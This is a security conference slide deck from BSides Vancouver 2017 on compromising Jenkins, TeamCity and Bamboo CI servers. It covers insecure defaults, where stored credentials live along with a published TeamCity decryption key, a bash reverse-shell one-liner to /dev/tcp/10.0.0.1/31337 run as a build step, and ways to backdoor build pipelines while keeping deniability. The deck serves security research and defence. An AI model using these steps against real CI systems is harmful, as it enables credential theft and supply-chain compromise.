## Continuous Integration, Continuous Compromise

#### WESLEY WINEBERG BSIDES VANCOUVER 2017



## Outline

- What's a CI?
- Common Misconfigurations (and how to abuse)
- Code Execution By Design!
- Slaves and Masters Pivoting
- Backdoor The Builds<sup>™</sup>

## About – Wesley Wineberg




- Previously: SCADA, Smart Grid, Medical Devices, Stunt Hacking
- More Recently: Microsoft Azure<sup>™</sup> Red Team
- This research done independently



#### Build Systems – Unofficial History

#### Back in the day...

- Code Repository
- Build Server
- Iterative Builds Need to avoid "breaking" the build
- Testing done after build
- Deployment is someone else's job



#### **Build Systems – Historical Hacking**

#### **Compiler Backdoors**

- Karger & Schell 1974
- Ken Thompson 1984
  - Reflections On Trusting Trust
- Theory of these attacks hasn't really changed
- Few actual real world attacks

## Build Systems – Modern Day

#### Now:

- DevOps: Everyone's doing it
- Cl: Continuous Integration
- CD: Continuous Delivery
- CD: Continuous Deployment
- CD: Compact Disc
- Infrastructure Automation
- Instrumentation, Monitoring, A/B Testing, etc.



## Build Systems – Modern Day

#### Now:

Cl: Continuous Integration



CD: Continuous Deployment



Infrastructure Automation







### Dev Ops – Illustrated / Tangent

V1.1 CONTINUOUS INTEGRATION			
L <sub>H</sub> J		APPROVE DEPLOY	
	CONTINUOUS DELIVERY	V	
		AUTOMATIC DEPLOY	
	CONTINUOUS DEPLOYMENT		
$\mathcal{A}$			
		$\Rightarrow$	$\Rightarrow$
Source Control	Build	Staging	PRODUCTION
COMMIT CHANGES	RUN BUILD AND UNIT TESTS	DEPLOY TO TEST ENVIRONMENT RUN INTEGRATION TESTS, LOAD TESTS, AND OTHER TESTS	DEPLOY TO PRODUCTION ENVIRONMENT

Are you in management and just want to know what to buy to keep your datas secure?

- Yes please tell me
- 🔹 Explain like I'm 5
- We'll work on our synergies later, I'm leaving to do shots with the sales people




#### **Dev Ops – Attackers Perspective**

- DevOps: Everyone's doing it
  - Rush to do devops without thinking through security implications
- CI: Continuous Integration
  - Continuously compromised compilers
- CD: Continuous Delivery
  - Software that is untrusted from day 0
- CD: Continuous Deployment
  - So much for that segmented, secure production environment
- Infrastructure Automation
  - Use this one cool trick to backdoor all servers at once



#### Dev Ops – What It Means For Security



# Dev Ops – What It Means For Security

Internet Hosted Systems

**AWS** 

Keys


We'll Test In Prod

Code Full Of Vulns

#### Our Target – Cl Systems

- Cl systems are the start of the chain of trust
- Test automation usually involves lots of creds
- Packaging including code signing done here
- Often CI systems are used as CD systems, or are very tightly coupled
- Like all areas of dev ops, most of these systems have had very light security review

### **CI** Systems Reviewed



Bamboo


## Let's Get Practical COMPROMISING CL SYSTEMS

## **CI: Continuously Misconfigured**

- You don't need "vulns" to hack CI systems. They are always\* misconfigured
- Successful CI products are highly configurable and adaptable
  - Dev and build environments are always giant kludged together messes. Cl needs to work with this.
- Complexity and Security are opposites
- For CI systems, install defaults themselves are often insecure

\*I can't prove a negative, but I'm fine with sweeping generalizations

Your company has at least one CI system, and it's definitely misconfigured. Better hope it's not internet accessible.



### **Default Configs - Jenkins**

- Jenkins (Hudson) is almost a decade old
  - Security was not an original concern/priority
- In the last couple years, significant security improvements made
  - How old is your install?
  - Is its config from a time when the defaults were terrible?
- Default server listens on port 8080
- Fresh install forces user defined or strong admin password
- User registration disabled by default, but all users are admins
- Plugin bundle recommended during install
- Build slave installed onto build master server

#### Historic Configs - Jenkins

• For example, some of these used to be defaults..

Configu	re Global Security
Enable security	
TCP port for INLP age	nts 🔿 Fixed : 📃 🔍 Dandem 🔍 Disable
	Treats an input as plain text. HTIME unsale characters like < and & are e
Prevent Cross Site Req	uest Forgery exploits
Crumbs	Crumb Algorithm
	Default Crumb Issuer
	Enable proxy compatibility
Hidden security warnings	
This section allows you to disable Security warnings	warnings published on the update site. Checked


Rules can be tweaked here

#### Default Configs – Team City

- Default server listens on port 8111
- User is forced to choose an admin username / password
- User registration enabled by default
- All users inherit "Project Developer" permissions
- Unidirectional slave communications default
- Build slave installed onto build master server

#### Default Configs – Bamboo

- Default server listens on port 8085
- User is forced to choose an admin username / password
- User registration enabled by default
- New users are put in "bamboo-user" group
- Bamboo-user group can only view
- Bamboo-admin is the only other group by default
- "Resolve artifacts content type by extension" XSS
- Build slave installed onto build master server




#### 19,422 Hosts Online

🔏 title:Jenkins p	oort:8080 - S ×	🔏 Shodan - Explore	e the Inter ×						<u> </u>		×
$\leftrightarrow$ $\Rightarrow$ C	Secure   https:	//www.shodan.io/	/search?query=title%3AJenk	kins+port%3A	48080					۲	☆ :
Shodan	Developers	Book View A	II							Show API K	ey 🔺
🔏 Ѕнос	DAN title:Je	nkins port:8080		Q Explor	e Downloads	Reports	Enterprise Access	Contact Us		🐣 Му Ассон	unt
🔏 Exploits	🐁 Maps	Share Search	📥 Download Results	Lul Create	Report						
TOTAL RESULTS 3,446 TOP COUNTRIES		62.1 euv BSI Ado	bersicht [Jenkins] 75.160.237 e108092.serverprofi24.de B-SERVICE - Virtual dedicated Serve fed on 2017-03-12 19:38:14 GMT France, Strassbourg ails	er-Hosting	X-Hudson-Theme: Content-Type: te	ptions: nosni Jan 1970 00: o-cache,no-st default xt/html;chars	ff 00:00 GMT ore,must-revalidate	chaqm			
United States Germany France China Ireland TOP ORGANIZ Amazon.com Microsoft Azur Digital Ocean Amazon		1,452 54.1 306 ec2 196 Am 185 Add	ashboard [Jenkins] 243.152.17 -54-243-152-17.compute-1.amazonaw azon.com ied on 2017-03-12 19:27:38 GMT United States, Ashburn ails	/s.com	HTTP/1.1 200 OK Cache-Control: n X-Hudson-Theme: Content-Type: te Set-Cookie: JSES Expires: Thu, 01 X-Hudson: 1.395 X-Jenkins: 1.543 X-Jenkins-Sessio X-Hudson-CLI-P	ith=/					
OVH SAS		72	appeard [ lanking]								-

#### ...or at least 3,446 Hosts Online

🔏 title:Teamcity - Sho	odan Sr 🗙						٤.	- 0	×
$\leftrightarrow$ $\rightarrow$ $\mathbf{C}$ $$ Sec	cure   https://www.shodan.i	o/search?query=title%3ATear	mcity&page=3					\$	:
Shodan Dev	velopers Book View	/ All						Show API Ke	/
🤏 Shodan	title:Teamcity	Q Explore	Downloads	Reports	Enterprise Access	Contact Us	🐣 My Accou	nt	
🔏 Exploits 🛛 📲	Maps Share Search	📥 Download Results	Lull Create Re	port					
TOTAL RESULTS 3,251 TOP COUNTRIES	7	Log in to TeamCity & 7.66.32.144 ketgroup A/S vided on 2017-03-12 17:11:35 GMT Demmark Details		HTTP/1.1 200 OK Server: Apache-Co Cache-Control: no Set-Cookie:tes	st=1; Expires SIONID=11AE96 (t/html;charse en-US		8:01 GMT; Path=/ C957E; Path=/; HttpOnly		
United States Ireland Netherlands Germany United Kingdom TOP SERVICES HTTP HTTPS HTTP (8080)	426 8 277 V 218 4 171 5 1,226 693 684	Log in to TeamCity & 4207.248.106 4207.248.106.vnetrix.com Inetrix Ltd Added on 2017-03-12 17:09:29 GMT Europe Details		HTTP/1.1 200 OK Server: Apache-Co Pragma: no-cache Expires: Thu, 01 Cache-Control: no Set-Cookie:tes Cache-Control: no	Jan 1970 00:0 cache st=1; Expires store	=Mon, 12-Mar-2018 17:0	8:25 GMT; Path=/ 3E3B7; Path=/; HttpOnly		
HTTP (81) Insteon Hub	92 69	Log in to TeamCity &	mdash; Tea	mCity					-

#### 3,251 Hosts Online – Shodan doesn't know port 8111?



#### 2 Hosts Online

#### Internet Connected CI

#### Just because you can, doesn't mean you should

C A	/jenkins/asynchPeople/		121 12 P A 12C	☆ 🔮 🗅 🗉
	/Jenkins/asynchreopie/			
餐 Jenkins			Q search	log out
Jenkins 🕨				ENABLE AUTO REFRESH
🖀 New Item				
and People	🖍 People			
Build History				
Manage Jenkins	Includes all known "users", including in recorded changelogs.	I login identities which the c	urrent security realm can enumerate, as well as peop	le mentioned in commit messages
Credentials	User Id	Name	Last Commit Activity ↑	On
A My Views		177 177		
		4		
Build Queue	-		N/A	
No builds in the queue.	<b>&amp;</b>		N/A	
Build Executor Status	ahamsec.	Ben Sadeghipour	N/A	
1 Idle			N/A	
2 Idle	lcon: <u>S</u> <u>M</u> L			MO
UHH	1			
	1			
	1 . · · · ·			
Help us localize this page			Page generated: Dec 2, 2015 8:27:33	PM REST API Jenkins ver. 1.625

Background: Doing a privately contracted pentest, find "Nahamsec" already on their online CI server. Ruh-oh.

#### **Common Misconfigurations To Look For**


Let's say your CI system isn't just install defaults...

- User registration: Even low permission user = disaster
- "Anonymous" access
- All Developers have full admin access
  - Or even project admin access!
- Different projects (of different trust) sharing the same build nodes and system
- Build credentials having unlimited access: SSH creds, AWS keys, AD accounts, etc.
- Plugins: Like Wordpress plugins, but for Cl
  - Some plugins expose creds similar to the above bullet
  - Some plugins are just poorly written and full of vulns

#### **Common Misconfigurations To Look For**


Say you only have read only access:

- List the users on the system
  - Guess weak passwords
- Attempt to list API / OAuth keys instead



## Credential / Secrets Storage

- Each CI system protects credentials differently
- Generally if you can read a stored credential you already have admin access or other means of extracting it
- Once gaining admin, no reason not to collect all the creds however...



#### Credential Storage – Jenkins - Old

- Master key
  - /var/lib/jenkins/secrets/master.key
- Secret key (per project)
  - /var/lib/jenkins/secret.key
- Both keys used to form AES decryption key
- <u>https://github.com/tweksteen/jenkins-</u> <u>decrypt/blob/master/decrypt.py</u>
- You can also just use the script console in Jenkins to do it – probably leaves more evidence of your hacking in the logs though

#### **Credential Storage - TeamCity**

- TeamCity treats credential "files" (say an SSH key) different than credential "strings"
- Credential *files* are unencrypted
- Credential *strings* are triple DES encrypted then Base64 encoded.
- Decryption key: 3d160b396e59ecff00636f883704f70a0b2d47a7159d3633
- Link to Python decryption script at end of presentation
- TeamCity said it was fine to disclose key

#### **Credential Storage - Bamboo**

- Stored in the database used by Bamboo
- AES encrypted, CBC mode
- /var/atlassian/application-data/bamboo/xmldata/configuration/cipher/cipher.key\_0
- Database Bandana table:
  - com.atlassian.restricted.instance.cipher.key\_0
  - com.atlassian.restricted.instance.cipher.iv\_0
- Xor local filesystem + DB keys together
- Link to Python decryption script at end of presentation

#### System Permission - Jenkins

6 different Authorization schemes

- Anyone can do anything (ie no auth)
- Legacy mode
- Anonymous user have read access
- Logged-in users can do anything
- Matrix-based security
- Project-based Matrix Authorization Strategy
- What to look for:
  - Custom auth providers which don't tie in properly to matrix-based security.

User/group	oup Overall					Credentials						Agent								doL										View			SCM		
A	Administer(	ConfigureUpdateCenterF	ReadR	unScriptsl	JploadPlugins	Create	Delete	ManageDomains	Update	View	BuildC	Configure(	Connec	tCreate	DeleteD	Disconnect	Provision	Build	CancelC	onfigure	Create	Deletel	Discover	Movel	ReadV	Vorkspace	eDelete	Replay	Update	Configure	eCreate	Delete	Read	Тад	
Anonymous																																			
🗼 testuser1																																			

#### System Permission - TeamCity

- 4 standard permissions levels:
  - Project viewer Read only
  - Project developer Can start build, supply params
  - Project admin Full control of project
  - System admin Full control of everything
- What to look for:
  - Nested / default permissions groups. Users inherit both global and per-project permissions
  - While "project developers" can't modify build steps, they can supply params like the env.PATH variable
  - "Project admin" gives RCE and all project creds via the project backup option

#### System Permission - Bamboo

- 2 default permissions groups:
  - User
  - Admin
- 4 permissions levels
  - Access, Create plan, Create repository, Admin
- What to look for:
  - Projects can be viewed with no auth by default
  - Auth groups not changed, all developers are made admins
  - Plan creation permissions

A significant amount of tuning is required to prevent a normal developer from having admin-like access on the CI system

- Limit which devs have access in the first place
- Segment CI systems



### Plugins – Gold Mine of Vulns

- Jenkins CVE-2015-5298
- <u>https://wiki.jenkins-</u> ci.org/display/JENKINS/Google+Login+Plugin
- https://accounts.google.com/o/oauth2/auth?clie nt\_id=733205151337tq1337b.apps.googleusercontent.com&redirect\_ uri=https://jenkins.example.com/securityRealm/fi nishLogin&response\_type=code&scope=profile% 20email&state=NTk1ZmQ1MWUtYz1337Z0&hd=e xample.com

## Build Me A Remote Shell!

All CI solutions let "project administrators" add a task to just execute a command.

- Jenkins:
  - Build step: Execute Shell
- TeamCity:
  - Runner type: Command Line
- Bamboo:
  - Task: Command Add new Executable

Then just run:

- bash -i >& /dev/tcp/10.0.0.1/31337 0>&1
- Random Powershell<sup>®</sup> magic

#### Slave to Master Pivoting

- (Please think of "slave" as "node", and "master" as "coordinator" if you prefer)
- If you can define trigger a custom build, you can get code exec on a slave host
  - This, if nothing else, will let you compromise any future builds on that slave
- If a build slave is running on the build master server, then you can directly compromise the master
  - Unless it is running under a different user account
- If slaves are segmented, there are still paths back

#### **Slaves and Masters - Jenkins**

- Like everything Jenkins related, there are 4 different slave protocols (and 2 "CLI" protocols)
  - Older versions of the protocols are unencrypted
- An option (default now) for access control over what a slave can access on the master
  - Previous versions allowed a slave full control (basically remote code exec) on the master

#### Slaves to Masters - TeamCity

- Two models for slaves on TeamCity:
  - Unidirectional Slave polls for actions
  - Bidirectional (XML-RPC) Master sends slaves actions
- Slave authentication is neat:
  - Any host can register as a slave
  - Host can pick its own name (say pretend to be another host)
  - Admin has to look in the list of unregister hosts and approve new ones (DoS opportunity here)
- Slaves are limited in what they can access on the master
- Communications are unencrypted by default
  - TeamCity recommends using a secure environment as plain HTTP is faster??

#### Slaves to Masters - Bamboo

- Bandana protocol
- Slaves cost money
- Still need to investigate protocol and auth




## Backdooring the Build Process

The obvious way: Add a new build step

- Insert the step between the build and the test stages
- Or between the test and the artifact collection stage
- At least give it a innocent name, like "unit test collection", or "static security analysis".

Say you're a developer and you see a new build step...

- Do you ask your coworkers?
- Ignore it and hope someone else questions it?
- Tell your boss you got hacked? Yeah right.



#### Backdooring the Build Process

#### The better way: **Plugins**

- CI systems are designed to be extensible, so, extend!
- Configure the plugin to run against every job without requiring changes to the build jobs themselves
- Jenkins example will be posted

## Backdooring the Whole System

The best offense... Is plausible deniability!

- We've just covered a ton of ways that the configuration of these systems can go wrong.
- Once you're admin, make some of the configuration go wrong!
  - Turn off CSRF protection in Jenkins / Bamboo
  - Add some "test" accounts that aren't admins but have full admin permissions
  - Allow slaves more control over master
  - Add additional auth providers
  - Generate additional API/OAuth tokens




#### **Continuous Compromise**

A proper backdoored compiler will backdoor all new versions of the compiler

Applied to CI...

\*This is animated in the PPT version



## In Summary

- It's probably impossible to fully secure a CI system
- It's also probably impossible to clean up a previously hacked CI system without a complete fresh install and fresh configuration
- Don't put your CI systems on the internet
  - At least throw an auth proxy in front of them
- How much trust do you have in the output of your CI?
  - Would you ever know if code was backdoored from the start?

#### Want more?

Great talk on hacking CI systems at Blackhat EU 2015: <u>Nikhil Mittal - Continuous Intrusion: Why CI Tools</u> <u>Are An Attackers Best Friend</u>

 Just about everything in that presentation applies to the current versions of the CI systems. <sup>(3)</sup> Slides and tools online at: http://exfiltrated.com/research.php

(Eventually)

#### Contact: wesley@exfiltrated.com

#### QUESTIONS?



#### Image Credits:

<u>https://avatars0.githubusercontent.com/u/10986514?v=3&s=400</u> <u>https://d0.awsstatic.com/product-marketing/DevOps/continuous\_integration.png</u> <u>http://courses.ischool.berkeley.edu/i255/f03/resources/CvsEclipse/cvs.eclipse.2-</u> 1.AddToCVSVersionControl.png

https://cdn-images-1.medium.com/max/800/1\*h9rfnCrOUrxV2rOCQDwVvA.jpeg

http://www.imagegenerator.net/create/clippy/

https://pbs.twimg.com/media/CEQOsL9XIAAezy\_.png:large

https://cdn.shopify.com/s/files/1/1061/1924/files/Poop\_Emoji.png

http://www.tothenew.com/blog/wp-content/uploads/2016/09/jenkins\_image.png https://d0.awsstatic.com/product-marketing/CodeDeploy/Partners/logo\_TeamCity.png http://2.bp.blogspot.com/-Yq4mL62Tymw/VkyizFpp\_9I/AAAAAAAAig0/gpSc-e0h9k/s1600/VSTS-2015.png

https://upload.wikimedia.org/wikipedia/en/0/09/Puppet%27s\_company\_logo.png http://s3.amazonaws.com/opscode-corpsite/assets/121/pic-chef-logo.png https://lh4.googleusercontent.com/proxy/d23FC1lSdubEjKNjyq3Bp9FE3KlykIAkoOUTSVlog BHKT6wbjcfvghEQpW0q4E7yNvd52dSf-CAhKPL7WOdC6NKCFGH908Slqw\_xuk-fvAk-

\_Fd7d0zXlk3MDjNB84cM7Nh2JipKVnrnyHE8FxVXPXsdqLH4j4MWI4bs=w5000-h5000 http://wp.streetwise.co/wp-content/uploads/2014/07/codeship-rocket-fuel-labs-770x450-4c0946ee3d06ba4de3ab791046a91177-630x368.jpg

https://upload.wikimedia.org/wikipedia/commons/0/05/Ansible\_Logo.png http://languagelog.ldc.upenn.edu/myl/DumpsterFire2.jpg

http://s2.quickmeme.com/img/6b/6b21ef9c17d96b863db2bd496c0e3b799fb5623ea1272 73544dc5e4511c01337.jpg

http://stream1.gifsoup.com/view1/1094620/cat-vs-baby-o.gif

http://www.webcomicalliance.com/wp-content/uploads/2013/08/bamboo-hack.jpg